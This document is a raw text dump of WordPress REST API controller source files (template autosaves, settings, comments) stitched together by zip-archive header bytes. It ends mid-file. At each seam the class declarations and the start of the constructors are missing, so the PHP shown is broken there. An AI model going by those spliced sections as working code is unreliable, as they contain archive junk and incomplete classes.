), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, sprintf( '/%s/(?P%s%s)/%s/%s', $this->parent_base, /* * Matches theme's directory: `/themes///` or `/themes//`. * Excludes invalid directory name characters: `/:<>*?"|`. */ '([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)', // Matches the template name. '[\/\w%-]+', $this->rest_base, '(?P[\d]+)' ), array( 'args' => array( 'parent' => array( 'description' => __( 'The id of a template' ), 'type' => 'string', 'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ), ), 'id' => array( 'description' => __( 'The ID for the autosave.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this->revisions_controller, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Prepares the item for the REST response. * * @since 6.4.0 * * @param WP_Post $item Post revision object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { $template = _build_block_template_result_from_post( $item ); $response = $this->parent_controller->prepare_item_for_response( $template, $request ); // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { return $response; } $fields = $this->get_fields_for_response( $request ); $data = $response->get_data(); if ( in_array( 'parent', $fields, true ) ) { $data['parent'] = (int) $item->post_parent; } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = new WP_REST_Response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = $this->prepare_links( $template ); $response->add_links( $links ); } return $response; } /** * Gets the autosave, if the ID is valid. * * @since 6.4.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_Post|WP_Error Autosave post object if ID is valid, WP_Error otherwise. */ public function get_item( $request ) { $parent = $this->get_parent( $request['parent'] ); if ( is_wp_error( $parent ) ) { return $parent; } $autosave = wp_get_post_autosave( $parent->ID ); if ( ! $autosave ) { return new WP_Error( 'rest_post_no_autosave', __( 'There is no autosave revision for this template.' ), array( 'status' => 404 ) ); } $response = $this->prepare_item_for_response( $autosave, $request ); return $response; } /** * Get the parent post. * * @since 6.4.0 * * @param int $parent_id Supplied ID. * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise. */ protected function get_parent( $parent_id ) { return $this->revisions_controller->get_parent( $parent_id ); } /** * Prepares links for the request. * * @since 6.4.0 * * @param WP_Block_Template $template Template. * @return array Links for the given post. */ protected function prepare_links( $template ) { $links = array( 'self' => array( 'href' => rest_url( sprintf( '/%s/%s/%s/%s/%d', $this->namespace, $this->parent_base, $template->id, $this->rest_base, $template->wp_id ) ), ), 'parent' => array( 'href' => rest_url( sprintf( '/%s/%s/%s', $this->namespace, $this->parent_base, $template->id ) ), ), ); return $links; } /** * Retrieves the autosave's schema, conforming to JSON Schema. * * @since 6.4.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $this->schema = $this->revisions_controller->get_item_schema(); return $this->add_additional_fields_schema( $this->schema ); } } PK!Z(Z(%class-wp-rest-settings-controller.phpnu[namespace = 'wp/v2'; $this->rest_base = 'settings'; } /** * Registers the routes for the site's settings. * * @since 4.7.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'args' => array(), 'permission_callback' => array( $this, 'get_item_permissions_check' ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to read and manage settings. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return bool True if the request has read access for the item, otherwise false. */ public function get_item_permissions_check( $request ) { return current_user_can( 'manage_options' ); } /** * Retrieves the settings. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return array|WP_Error Array on success, or WP_Error object on failure. */ public function get_item( $request ) { $options = $this->get_registered_options(); $response = array(); foreach ( $options as $name => $args ) { /** * Filters the value of a setting recognized by the REST API. * * Allow hijacking the setting value and overriding the built-in behavior by returning a * non-null value. The returned value will be presented as the setting value instead. * * @since 4.7.0 * * @param mixed $result Value to use for the requested setting. Can be a scalar * matching the registered schema for the setting, or null to * follow the default get_option() behavior. * @param string $name Setting name (as shown in REST API responses). * @param array $args Arguments passed to register_setting() for this setting. */ $response[ $name ] = apply_filters( 'rest_pre_get_setting', null, $name, $args ); if ( is_null( $response[ $name ] ) ) { // Default to a null value as "null" in the response means "not set". $response[ $name ] = get_option( $args['option_name'], $args['schema']['default'] ); } /* * Because get_option() is lossy, we have to * cast values to the type they are registered with. */ $response[ $name ] = $this->prepare_value( $response[ $name ], $args['schema'] ); } return $response; } /** * Prepares a value for output based off a schema array. * * @since 4.7.0 * * @param mixed $value Value to prepare. * @param array $schema Schema to match. * @return mixed The prepared value. */ protected function prepare_value( $value, $schema ) { /* * If the value is not valid by the schema, set the value to null. * Null values are specifically non-destructive, so this will not cause * overwriting the current invalid value to null. */ if ( is_wp_error( rest_validate_value_from_schema( $value, $schema ) ) ) { return null; } return rest_sanitize_value_from_schema( $value, $schema ); } /** * Updates settings for the settings object. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return array|WP_Error Array on success, or error object on failure. */ public function update_item( $request ) { $options = $this->get_registered_options(); $params = $request->get_params(); foreach ( $options as $name => $args ) { if ( ! array_key_exists( $name, $params ) ) { continue; } /** * Filters whether to preempt a setting value update via the REST API. * * Allows hijacking the setting update logic and overriding the built-in behavior by * returning true. * * @since 4.7.0 * * @param bool $result Whether to override the default behavior for updating the * value of a setting. * @param string $name Setting name (as shown in REST API responses). * @param mixed $value Updated setting value. * @param array $args Arguments passed to register_setting() for this setting. */ $updated = apply_filters( 'rest_pre_update_setting', false, $name, $request[ $name ], $args ); if ( $updated ) { continue; } /* * A null value for an option would have the same effect as * deleting the option from the database, and relying on the * default value. */ if ( is_null( $request[ $name ] ) ) { /* * A null value is returned in the response for any option * that has a non-scalar value. * * To protect clients from accidentally including the null * values from a response object in a request, we do not allow * options with values that don't pass validation to be updated to null. * Without this added protection a client could mistakenly * delete all options that have invalid values from the * database. */ if ( is_wp_error( rest_validate_value_from_schema( get_option( $args['option_name'], false ), $args['schema'] ) ) ) { return new WP_Error( 'rest_invalid_stored_value', /* translators: %s: Property name. */ sprintf( __( 'The %s property has an invalid stored value, and cannot be updated to null.' ), $name ), array( 'status' => 500 ) ); } delete_option( $args['option_name'] ); } else { update_option( $args['option_name'], $request[ $name ] ); } } return $this->get_item( $request ); } /** * Retrieves all of the registered options for the Settings API. * * @since 4.7.0 * * @return array Array of registered options. */ protected function get_registered_options() { $rest_options = array(); foreach ( get_registered_settings() as $name => $args ) { if ( empty( $args['show_in_rest'] ) ) { continue; } $rest_args = array(); if ( is_array( $args['show_in_rest'] ) ) { $rest_args = $args['show_in_rest']; } $defaults = array( 'name' => ! empty( $rest_args['name'] ) ? $rest_args['name'] : $name, 'schema' => array(), ); $rest_args = array_merge( $defaults, $rest_args ); $default_schema = array( 'type' => empty( $args['type'] ) ? null : $args['type'], 'title' => empty( $args['label'] ) ? '' : $args['label'], 'description' => empty( $args['description'] ) ? '' : $args['description'], 'default' => $args['default'] ?? null, ); $rest_args['schema'] = array_merge( $default_schema, $rest_args['schema'] ); $rest_args['option_name'] = $name; // Skip over settings that don't have a defined type in the schema. if ( empty( $rest_args['schema']['type'] ) ) { continue; } /* * Allow the supported types for settings, as we don't want invalid types * to be updated with arbitrary values that we can't do decent sanitizing for. */ if ( ! in_array( $rest_args['schema']['type'], array( 'number', 'integer', 'string', 'boolean', 'array', 'object' ), true ) ) { continue; } $rest_args['schema'] = rest_default_additional_properties_to_false( $rest_args['schema'] ); $rest_options[ $rest_args['name'] ] = $rest_args; } return $rest_options; } /** * Retrieves the site setting schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $options = $this->get_registered_options(); $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'settings', 'type' => 'object', 'properties' => array(), ); foreach ( $options as $option_name => $option ) { $schema['properties'][ $option_name ] = $option['schema']; $schema['properties'][ $option_name ]['arg_options'] = array( 'sanitize_callback' => array( $this, 'sanitize_callback' ), ); } $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Custom sanitize callback used for all options to allow the use of 'null'. * * By default, the schema of settings will throw an error if a value is set to * `null` as it's not a valid value for something like "type => string". We * provide a wrapper sanitizer to allow the use of `null`. * * @since 4.7.0 * * @param mixed $value The value for the setting. * @param WP_REST_Request $request The request object. * @param string $param The parameter name. * @return mixed|WP_Error */ public function sanitize_callback( $value, $request, $param ) { if ( is_null( $value ) ) { return $value; } return rest_parse_request_arg( $value, $request, $param ); } /** * Recursively add additionalProperties = false to all objects in a schema * if no additionalProperties setting is specified. * * This is needed to restrict properties of objects in settings values to only * registered items, as the REST API will allow additional properties by * default. * * @since 4.9.0 * @deprecated 6.1.0 Use {@see rest_default_additional_properties_to_false()} instead. * * @param array $schema The schema array. * @return array */ protected function set_additional_properties_to_false( $schema ) { _deprecated_function( __METHOD__, '6.1.0', 'rest_default_additional_properties_to_false()' ); return rest_default_additional_properties_to_false( $schema ); } } PK!}%class-wp-rest-comments-controller.phpnu[namespace = 'wp/v2'; $this->rest_base = 'comments'; $this->meta = new WP_REST_Comment_Meta_Fields(); } /** * Registers the routes for comments. * * @since 4.7.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\d]+)', array( 'args' => array( 'id' => array( 'description' => __( 'Unique identifier for the comment.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), 'password' => array( 'description' => __( 'The password for the parent post of the comment (if the post is password protected).' ), 'type' => 'string', ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'args' => array( 'force' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Whether to bypass Trash and force deletion.' ), ), 'password' => array( 'description' => __( 'The password for the parent post of the comment (if the post is password protected).' ), 'type' => 'string', ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to read comments. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, error object otherwise. */ public function get_items_permissions_check( $request ) { $is_note = 'note' === $request['type']; $is_edit_context = 'edit' === $request['context']; $protected_params = array( 'author', 'author_exclude', 'author_email', 'type', 'status' ); $forbidden_params = array(); if ( ! empty( $request['post'] ) ) { foreach ( (array) $request['post'] as $post_id ) { $post = get_post( $post_id ); if ( ! empty( $post_id ) && $post && ! $this->check_read_post_permission( $post, $request ) ) { return new WP_Error( 'rest_cannot_read_post', __( 'Sorry, you are not allowed to read the post for this comment.' ), array( 'status' => rest_authorization_required_code() ) ); } elseif ( 0 === $post_id && ! current_user_can( 'moderate_comments' ) ) { return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to read comments without a post.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( $post && $is_note && ! $this->check_post_type_supports_notes( $post->post_type ) ) { if ( current_user_can( 'edit_post', $post->ID ) ) { return new WP_Error( 'rest_comment_not_supported_post_type', __( 'Sorry, this post type does not support notes.' ), array( 'status' => 403 ) ); } foreach ( $protected_params as $param ) { if ( 'status' === $param ) { if ( 'approve' !== $request[ $param ] ) { $forbidden_params[] = $param; } } elseif ( 'type' === $param ) { if ( 'comment' !== $request[ $param ] ) { $forbidden_params[] = $param; } } elseif ( ! empty( $request[ $param ] ) ) { $forbidden_params[] = $param; } } return new WP_Error( 'rest_forbidden_param', /* translators: %s: List of forbidden parameters. */ sprintf( __( 'Query parameter not permitted: %s' ), implode( ', ', $forbidden_params ) ), array( 'status' => rest_authorization_required_code() ) ); } } } // Re-map edit context capabilities when requesting `note` for a post. if ( $is_edit_context && $is_note && ! empty( $request['post'] ) ) { foreach ( (array) $request['post'] as $post_id ) { if ( ! current_user_can( 'edit_post', $post_id ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit comments.' ), array( 'status' => rest_authorization_required_code() ) ); } } } elseif ( $is_edit_context && ! current_user_can( 'moderate_comments' ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit comments.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! current_user_can( 'edit_posts' ) ) { foreach ( $protected_params as $param ) { if ( 'status' === $param ) { if ( 'approve' !== $request[ $param ] ) { $forbidden_params[] = $param; } } elseif ( 'type' === $param ) { if ( 'comment' !== $request[ $param ] ) { $forbidden_params[] = $param; } } elseif ( ! empty( $request[ $param ] ) ) { $forbidden_params[] = $param; } } if ( ! empty( $forbidden_params ) ) { return new WP_Error( 'rest_forbidden_param', /* translators: %s: List of forbidden parameters. */ sprintf( __( 'Query parameter not permitted: %s' ), implode( ', ', $forbidden_params ) ), array( 'status' => rest_authorization_required_code() ) ); } } return true; } /** * Retrieves a list of comment items. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or error object on failure. */ public function get_items( $request ) { // Retrieve the list of registered collection query parameters. $registered = $this->get_collection_params(); /* * This array defines mappings between public API query parameters whose * values are accepted as-passed, and their internal WP_Query parameter * name equivalents (some are the same). Only values which are also * present in $registered will be set. */ $parameter_mappings = array( 'author' => 'author__in', 'author_email' => 'author_email', 'author_exclude' => 'author__not_in', 'exclude' => 'comment__not_in', 'include' => 'comment__in', 'offset' => 'offset', 'order' => 'order', 'parent' => 'parent__in', 'parent_exclude' => 'parent__not_in', 'per_page' => 'number', 'post' => 'post__in', 'search' => 'search', 'status' => 'status', 'type' => 'type', ); $prepared_args = array(); /* * For each known parameter which is both registered and present in the request, * set the parameter's value on the query $prepared_args. */ foreach ( $parameter_mappings as $api_param => $wp_param ) { if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) { $prepared_args[ $wp_param ] = $request[ $api_param ]; } } // Ensure certain parameter values default to empty strings. foreach ( array( 'author_email', 'search' ) as $param ) { if ( ! isset( $prepared_args[ $param ] ) ) { $prepared_args[ $param ] = ''; } } if ( isset( $registered['orderby'] ) ) { $prepared_args['orderby'] = $this->normalize_query_param( $request['orderby'] ); } $prepared_args['no_found_rows'] = false; $prepared_args['update_comment_post_cache'] = true; $prepared_args['date_query'] = array(); // Set before into date query. Date query must be specified as an array of an array. if ( isset( $registered['before'], $request['before'] ) ) { $prepared_args['date_query'][0]['before'] = $request['before']; } // Set after into date query. Date query must be specified as an array of an array. if ( isset( $registered['after'], $request['after'] ) ) { $prepared_args['date_query'][0]['after'] = $request['after']; } if ( isset( $registered['page'] ) && empty( $request['offset'] ) ) { $prepared_args['offset'] = $prepared_args['number'] * ( absint( $request['page'] ) - 1 ); } $is_head_request = $request->is_method( 'HEAD' ); if ( $is_head_request ) { // Force the 'fields' argument. For HEAD requests, only post IDs are required to calculate pagination. $prepared_args['fields'] = 'ids'; // Disable priming comment meta for HEAD requests to improve performance. $prepared_args['update_comment_meta_cache'] = false; } /** * Filters WP_Comment_Query arguments when querying comments via the REST API. * * @since 4.7.0 * * @link https://developer.wordpress.org/reference/classes/wp_comment_query/ * * @param array $prepared_args Array of arguments for WP_Comment_Query. * @param WP_REST_Request $request The REST API request. */ $prepared_args = apply_filters( 'rest_comment_query', $prepared_args, $request ); $query = new WP_Comment_Query(); $query_result = $query->query( $prepared_args ); if ( ! $is_head_request ) { $comments = array(); foreach ( $query_result as $comment ) { if ( ! $this->check_read_permission( $comment, $request ) ) { continue; } $data = $this->prepare_item_for_response( $comment, $request ); $comments[] = $this->prepare_response_for_collection( $data ); } } $total_comments = (int) $query->found_comments; $max_pages = (int) $query->max_num_pages; if ( $total_comments < 1 ) { // Out-of-bounds, run the query without pagination/offset to get the total count. unset( $prepared_args['number'], $prepared_args['offset'] ); $query = new WP_Comment_Query(); $prepared_args['count'] = true; $prepared_args['orderby'] = 'none'; $prepared_args['update_comment_meta_cache'] = false; $total_comments = $query->query( $prepared_args ); $max_pages = (int) ceil( $total_comments / $request['per_page'] ); } $response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $comments ); $response->header( 'X-WP-Total', (string) $total_comments ); $response->header( 'X-WP-TotalPages', (string) $max_pages ); $base = add_query_arg( urlencode_deep( $request->get_query_params() ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) ); if ( $request['page'] > 1 ) { $prev_page = $request['page'] - 1; if ( $prev_page > $max_pages ) { $prev_page = $max_pages; } $prev_link = add_query_arg( 'page', $prev_page, $base ); $response->link_header( 'prev', $prev_link ); } if ( $max_pages > $request['page'] ) { $next_page = $request['page'] + 1; $next_link = add_query_arg( 'page', $next_page, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Get the comment, if the ID is valid. * * @since 4.7.2 * * @param int $id Supplied ID. * @return WP_Comment|WP_Error Comment object if ID is valid, WP_Error otherwise. */ protected function get_comment( $id ) { $error = new WP_Error( 'rest_comment_invalid_id', __( 'Invalid comment ID.' ), array( 'status' => 404 ) ); if ( (int) $id <= 0 ) { return $error; } $id = (int) $id; $comment = get_comment( $id ); if ( empty( $comment ) ) { return $error; } if ( ! empty( $comment->comment_post_ID ) ) { $post = get_post( (int) $comment->comment_post_ID ); if ( empty( $post ) ) { return new WP_Error( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 'status' => 404 ) ); } } return $comment; } /** * Checks if a given request has access to read the comment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, error object otherwise. */ public function get_item_permissions_check( $request ) { $comment = $this->get_comment( $request['id'] ); if ( is_wp_error( $comment ) ) { return $comment; } // Re-map edit context capabilities when requesting `note` type. $edit_cap = 'note' === $comment->comment_type ? array( 'edit_comment', $comment->comment_ID ) : array( 'moderate_comments' ); if ( ! empty( $request['context'] ) && 'edit' === $request['context'] && ! current_user_can( ...$edit_cap ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit comments.' ), array( 'status' => rest_authorization_required_code() ) ); } $post = get_post( $comment->comment_post_ID ); if ( ! $this->check_read_permission( $comment, $request ) ) { return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to read this comment.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( $post && ! $this->check_read_post_permission( $post, $request ) ) { return new WP_Error( 'rest_cannot_read_post', __( 'Sorry, you are not allowed to read the post for this comment.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves a comment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or error object on failure. */ public function get_item( $request ) { $comment = $this->get_comment( $request['id'] ); if ( is_wp_error( $comment ) ) { return $comment; } $data = $this->prepare_item_for_response( $comment, $request ); $response = rest_ensure_response( $data ); return $response; } /** * Checks if a given request has access to create a comment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create items, error object otherwise. */ public function create_item_permissions_check( $request ) { $is_note = ! empty( $request['type'] ) && 'note' === $request['type']; if ( ! is_user_logged_in() && $is_note ) { return new WP_Error( 'rest_comment_login_required', __( 'Sorry, you must be logged in to comment.' ), array( 'status' => 401 ) ); } if ( ! is_user_logged_in() ) { if ( get_option( 'comment_registration' ) ) { return new WP_Error( 'rest_comment_login_required', __( 'Sorry, you must be logged in to comment.' ), array( 'status' => 401 ) ); } /** * Filters whether comments can be created via the REST API without authentication. * * Enables creating comments for anonymous users. * * @since 4.7.0 * * @param bool $allow_anonymous Whether to allow anonymous comments to * be created. Default `false`. * @param WP_REST_Request $request Request used to generate the * response. */ $allow_anonymous = apply_filters( 'rest_allow_anonymous_comments', false, $request ); if ( ! $allow_anonymous ) { return new WP_Error( 'rest_comment_login_required', __( 'Sorry, you must be logged in to comment.' ), array( 'status' => 401 ) ); } } // Limit who can set comment `author`, `author_ip` or `status` to anything other than the default. if ( isset( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( 'moderate_comments' ) ) { return new WP_Error( 'rest_comment_invalid_author', /* translators: %s: Request parameter. */ sprintf( __( "Sorry, you are not allowed to edit '%s' for comments." ), 'author' ), array( 'status' => rest_authorization_required_code() ) ); } if ( isset( $request['author_ip'] ) && ! current_user_can( 'moderate_comments' ) ) { if ( empty( $_SERVER['REMOTE_ADDR'] ) || $request['author_ip'] !== $_SERVER['REMOTE_ADDR'] ) { return new WP_Error( 'rest_comment_invalid_author_ip', /* translators: %s: Request parameter. */ sprintf( __( "Sorry, you are not allowed to edit '%s' for comments." ), 'author_ip' ), array( 'status' => rest_authorization_required_code() ) ); } } if ( $is_note && ! empty( $request['post'] ) && ! current_user_can( 'edit_post', (int) $request['post'] ) ) { return new WP_Error( 'rest_cannot_create_note', __( 'Sorry, you are not allowed to create notes for this post.' ), array( 'status' => rest_authorization_required_code() ) ); } $edit_cap = $is_note ? array( 'edit_post', (int) $request['post'] ) : array( 'moderate_comments' ); if ( isset( $request['status'] ) && ! current_user_can( ...$edit_cap ) ) { return new WP_Error( 'rest_comment_invalid_status', /* translators: %s: Request parameter. */ sprintf( __( "Sorry, you are not allowed to edit '%s' for comments." ), 'status' ), array( 'status' => rest_authorization_required_code() ) ); } if ( empty( $request['post'] ) ) { return new WP_Error( 'rest_comment_invalid_post_id', __( 'Sorry, you are not allowed to create this comment without a post.' ), array( 'status' => 403 ) ); } $post = get_post( (int) $request['post'] ); if ( ! $post ) { return new WP_Error( 'rest_comment_invalid_post_id', __( 'Sorry, you are not allowed to create this comment without a post.' ), array( 'status' => 403 ) ); } if ( $is_note && ! $this->check_post_type_supports_notes( $post->post_type ) ) { return new WP_Error( 'rest_comment_not_supported_post_type', __( 'Sorry, this post type does not support notes.' ), array( 'status' => 403 ) ); } if ( 'draft' === $post->post_status && ! $is_note ) { return new WP_Error( 'rest_comment_draft_post', __( 'Sorry, you are not allowed to create a comment on this post.' ), array( 'status' => 403 ) ); } if ( 'trash' === $post->post_status ) { return new WP_Error( 'rest_comment_trash_post', __( 'Sorry, you are not allowed to create a comment on this post.' ), array( 'status' => 403 ) ); } if ( ! $this->check_read_post_permission( $post, $request ) ) { return new WP_Error( 'rest_cannot_read_post', __( 'Sorry, you are not allowed to read the post for this comment.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! comments_open( $post->ID ) && ! $is_note ) { return new WP_Error( 'rest_comment_closed', __( 'Sorry, comments are closed for this item.' ), array( 'status' => 403 ) ); } return true; } /** * Creates a comment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or error object on failure. */ public function create_item( $request ) { if ( ! empty( $request['id'] ) ) { return new WP_Error( 'rest_comment_exists', __( 'Cannot create existing comment.' ), array( 'status' => 400 ) ); } // Do not allow comments to be created with a non-core type. if ( ! empty( $request['type'] ) && ! in_array( $request['type'], array( 'comment', 'note' ), true ) ) { return new WP_Error( 'rest_invalid_comment_type', __( 'Cannot create a comment with that type.' ), array( 'status' => 400 ) ); } $prepared_comment = $this->prepare_item_for_database( $request ); if ( is_wp_error( $prepared_comment ) ) { return $prepared_comment; } $prepared_comment['comment_type'] = $request['type']; if ( ! isset( $prepared_comment['comment_content'] ) ) { $prepared_comment['comment_content'] = ''; } // Include note metadata into check_is_comment_content_allowed. if ( isset( $request['meta']['_wp_note_status'] ) ) { $prepared_comment['meta']['_wp_note_status'] = $request['meta']['_wp_note_status']; } if ( ! $this->check_is_comment_content_allowed( $prepared_comment ) ) { return new WP_Error( 'rest_comment_content_invalid', __( 'Invalid comment content.' ), array( 'status' => 400 ) ); } // Setting remaining values before wp_insert_comment so we can use wp_allow_comment(). if ( ! isset( $prepared_comment['comment_date_gmt'] ) ) { $prepared_comment['comment_date_gmt'] = current_time( 'mysql', true ); } // Set author data if the user's logged in. $missing_author = empty( $prepared_comment['user_id'] ) && empty( $prepared_comment['comment_author'] ) && empty( $prepared_comment['comment_author_email'] ) && empty( $prepared_comment['comment_author_url'] ); if ( is_user_logged_in() && $missing_author ) { $user = wp_get_current_user(); $prepared_comment['user_id'] = $user->ID; $prepared_comment['comment_author'] = $user->display_name; $prepared_comment['comment_author_email'] = $user->user_email; $prepared_comment['comment_author_url'] = $user->user_url; } // Honor the discussion setting that requires a name and email address of the comment author. if ( get_option( 'require_name_email' ) ) { if ( empty( $prepared_comment['comment_author'] ) || empty( $prepared_comment['comment_author_email'] ) ) { return new WP_Error( 'rest_comment_author_data_required', __( 'Creating a comment requires valid author name and email values.' ), array( 'status' => 400 ) ); } } if ( ! isset( $prepared_comment['comment_author_email'] ) ) { $prepared_comment['comment_author_email'] = ''; } if ( ! isset( $prepared_comment['comment_author_url'] ) ) { $prepared_comment['comment_author_url'] = ''; } if ( ! isset( $prepared_comment['comment_agent'] ) ) { $prepared_comment['comment_agent'] = ''; } $check_comment_lengths = wp_check_comment_data_max_lengths( $prepared_comment ); if ( is_wp_error( $check_comment_lengths ) ) { $error_code = $check_comment_lengths->get_error_code(); return new WP_Error( $error_code, __( 'Comment field exceeds maximum length allowed.' ), array( 'status' => 400 ) ); } // Don't check for duplicates or flooding for notes. $prepared_comment['comment_approved'] = 'note' === $prepared_comment['comment_type'] ? '1' : wp_allow_comment( $prepared_comment, true ); if ( is_wp_error( $prepared_comment['comment_approved'] ) ) { $error_code = $prepared_comment['comment_approved']->get_error_code(); $error_message = $prepared_comment['comment_approved']->get_error_message(); if ( 'comment_duplicate' === $error_code ) { return new WP_Error( $error_code, $error_message, array( 'status' => 409 ) ); } if ( 'comment_flood' === $error_code ) { return new WP_Error( $error_code, $error_message, array( 'status' => 400 ) ); } return $prepared_comment['comment_approved']; } /** * Filters a comment before it is inserted via the REST API. * * Allows modification of the comment right before it is inserted via wp_insert_comment(). * Returning a WP_Error value from the filter will short-circuit insertion and allow * skipping further processing. * * @since 4.7.0 * @since 4.8.0 `$prepared_comment` can now be a WP_Error to short-circuit insertion. * * @param array|WP_Error $prepared_comment The prepared comment data for wp_insert_comment(). * @param WP_REST_Request $request Request used to insert the comment. */ $prepared_comment = apply_filters( 'rest_pre_insert_comment', $prepared_comment, $request ); if ( is_wp_error( $prepared_comment ) ) { return $prepared_comment; } $comment_id = wp_insert_comment( wp_filter_comment( wp_slash( (array) $prepared_comment ) ) ); if ( ! $comment_id ) { return new WP_Error( 'rest_comment_failed_create', __( 'Creating comment failed.' ), array( 'status' => 500 ) ); } if ( isset( $request['status'] ) ) { $this->handle_status_param( $request['status'], $comment_id ); } $comment = get_comment( $comment_id ); /** * Fires after a comment is created or updated via the REST API. * * @since 4.7.0 * * @param WP_Comment $comment Inserted or updated comment object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a comment, false * when updating. */ do_action( 'rest_insert_comment', $comment, $request, true ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $comment_id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $fields_update = $this->update_additional_fields_for_object( $comment, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $context = current_user_can( 'moderate_comments' ) ? 'edit' : 'view'; $request->set_param( 'context', $context ); /** * Fires completely after a comment is created or updated via the REST API. * * @since 5.0.0 * * @param WP_Comment $comment Inserted or updated comment object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a comment, false * when updating. */ do_action( 'rest_after_insert_comment', $comment, $request, true ); $response = $this->prepare_item_for_response( $comment, $request ); $response = rest_ensure_response( $response ); $response->set_status( 201 ); $response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $comment_id ) ) ); return $response; } /** * Checks if a given REST request has access to update a comment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to update the item, error object otherwise. */ public function update_item_permissions_check( $request ) { $comment = $this->get_comment( $request['id'] ); if ( is_wp_error( $comment ) ) { return $comment; } if ( ! $this->check_edit_permission( $comment ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this comment.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Updates 